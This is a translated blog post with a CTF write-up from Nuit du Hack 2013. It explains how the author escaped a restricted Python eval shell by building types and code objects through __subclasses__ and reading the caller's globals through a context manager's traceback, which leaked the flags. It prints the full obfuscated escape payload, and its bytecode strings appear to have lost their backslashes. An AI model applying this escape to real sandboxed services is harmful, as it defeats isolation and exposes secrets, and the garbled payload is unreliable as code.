Sandbox Escape with Python

On the eve of the start of the course “Python Developer. Professional “ prepared a translation, albeit not the newest, but from this no less interesting article. Happy reading!


Nuit du Hack CTF 2013 qualifying round took place yesterday. As usual, in a few notes I will tell you about interesting tasks and / or solutions of this CTF. If you want to know more, my teammate w4kfu also should post notes on my blog soon.

TL; DR:

auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'dx01x00ix00x00ix00x00dx02x00dx08x00hx02x00'
'dx03x00x84x00x00dx04x006dx05x00x84x00x00dx06x006x83'
'x03x00x83x00x00x04ix01x00x02ix02x00x83x00x00x01zn'
'x00dx07x00x82x01x00Wdx00x00QXdx00x00S',(None,'','haxx',
l('code')(1,1,1,83,'dx00x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'dx00x00x84x00'
'x00dx01x00x84x00x00x83x01x00|x01x00dx02x00x19ix00'
'x00ix01x00ix01x00ix02x00x83x01x00S',(l('code')(1,1,14,83,
'|x00x00dx00x00x83x01x00|x00x00dx01x00x83x01x00dx02'
'x00dx02x00dx02x00dx03x00dx04x00dnx00dx0bx00dx0cx00d'
'x06x00dx07x00dx02x00dx08x00x83x0cx00hx00x00x83x02'
'x00S',('function','code',1,67,'|x00x00GHdx00x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'gx00x00x04}x01x00dx01x00ix00x00i'
'x01x00dx00x00x19ix02x00x83x00x00D]!x00}x02x00|x02'
'x00ix03x00|x00x00jx02x00ox0bx00x01|x01x00|x02x00x12'
'qx1bx00x01qx1bx00~x01x00dx00x00x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())

One of the tasks called “Meow”, offers us a remote restricted shell with Python, where most of the built-in modules are disabled:

{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}

Several functions were available, namely kitty()which output the image of a cat in ASCII, and auth(password)… I assumed we needed to bypass authentication and find a password. Unfortunately, our Python commands are passed to eval in expression mode, which means that we cannot use any operator: neither the assignment operator, nor the print, nor the definitions of functions / classes, etc. The situation has become more complicated. We’ll have to use Python magic (there will be a lot of it in this post, I promise).

I first assumed that auth just compares the password to a constant string. In this case, I could use a custom object with the changed __eq__ in such a way as to always return True… However, you cannot just take and create such an object. We cannot define our own classes through a class Fooas we cannot modify an already existing object (without assignment). This is where the Python magic begins: we can directly instantiate a type object to create a class object, and then instantiate that class object. Here’s how it’s done:

type('MyClass', (), {'__eq__': lambda self: True})

However, we cannot use the type here, it is not defined in built-in modules. We can use a different trick: every Python object has an attribute __class__which gives us the type of the object. For instance, ‘’.__class__ this is str… But what’s more interesting: str.__class__ Is the type. So we can use ''.__class__.__class__to create a new type.

Unfortunately the function auth doesn’t just compare our object to a string. She performs many other operations with it: it cuts it into 14 characters, takes the length through len() and calls reduce with a strange lambda. Without code, it’s hard to figure out how to make an object that behaves the way the function wants, and I don’t like guessing. More magic needed!

Let’s add code objects. In fact, functions in Python are also objects that consist of a code object and a capture of their global variables. The code object contains the bytecode of this function and the constant objects it refers to, some strings, names, and other metadata (number of arguments, number of local objects, stack size, mapping bytecode to line number). You can get the function code object with myfunc.func_code… In mode restricted the Python interpreter is prohibited, so we cannot see the function code auth… However, we can create our own functions just like we created our own types!

You might ask, why use code objects to create functions when we already have a lambda? It’s simple: lambdas cannot contain operators. And randomly generated functions can! For example, we can create a function that outputs its argument to stdout:

ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|x00x00GHdx00x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42

However, there is a small problem here: to get the type of the code object, you need to access the attribute func_codewhich is limited. Luckily, we can use a little more Python magic to find our type without accessing forbidden attributes.

In Python, an object of type has the attribute __bases__which returns a list of all of its base classes. It also has a method __subclasses__which returns a list of all types inherited from it. If we use __bases__ on a random type, we can reach the top of the object type hierarchy and then read subclasses of object to get a list of all types defined in the interpreter:

>>> len(().__class__.__bases__[0].__subclasses__())
81

We can then use this list to find our types function and code:

>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>

Now that we can build any function we want, what can we do? We can directly access unlimited inline files: the functions we create are still executed in restricted-environment. We can get a non-isolated function: the function auth calls method __len__ the object that we pass as a parameter. However, this is not enough to escape the sandbox: our global variables are still the same, and we cannot, for example, import a module. I was trying to look at all the classes that we could access with __subclasses__to see if we can get a link to a useful module through it, to no avail. Even getting a call to one of our created functions through the reactor was not enough. We could try to get the traceback object and use it to view the stack frames of the calling functions, but the only easy way to get the traceback object is through modules inspect or syswhich we cannot import. After I stumbled on this problem, I switched to others, slept a lot and woke up with the right solution!

There is actually another way to get a traceback object in Python without using the standard library: context manager… They were a new feature in Python 2.6 that allows for a kind of object-oriented scoping in Python:

class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>

We can create an object context managerwhich will use the traceback object passed to __exit__, to display the global variables of a calling function that is outside the sandbox. For this we use combinations of all of our previous tricks. We create an anonymous type that defines __enter__ as a simple lambda and __exit__ as a lambda that accesses what we want in the trace and passes it to our outputted lambda (remember we can’t use operators):

''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|x00x00GHdx00x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()

We need to dig deeper! Now we need to use this context manager (which we will call ctx in the following code snippets) in a function that will purposefully throw an error in a block with:

def f(self):
    with ctx:
        raise 42

Then put f as __len__ our created object that we pass to the function auth:

auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())

Let’s go back to the beginning of the article and remember about the “real” embedded code. When run on the server, this causes the Python interpreter to run our function f, goes through the created context manager __exit__which will access the global variables of our calling method, where there are two interesting values:

'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'

Two flags ?! It turns out that the same service was used for two back-to-back tasks. Double kill!

To have some more fun accessing global variables, we can do more than just read: we can change flags! Through f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' }) the flags will change until the next server restart. Apparently, the organizers did not plan this.

Anyway, I still don’t know how we were supposed to solve this problem in a normal way, but I think that such a universal solution is a good way to introduce readers to the black magic of Python. Use it carefully, it is easy to force Python to do segmentation with the generated code objects (using the Python interpreter and running the x86 shellcode through the generated bytecode is left to the reader). Thanks to the organizers of Nuit du Hack for a beautiful task.

Read more

  • How do profilers work in Ruby and Python?
  • Why you should start using FastAPI right now

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *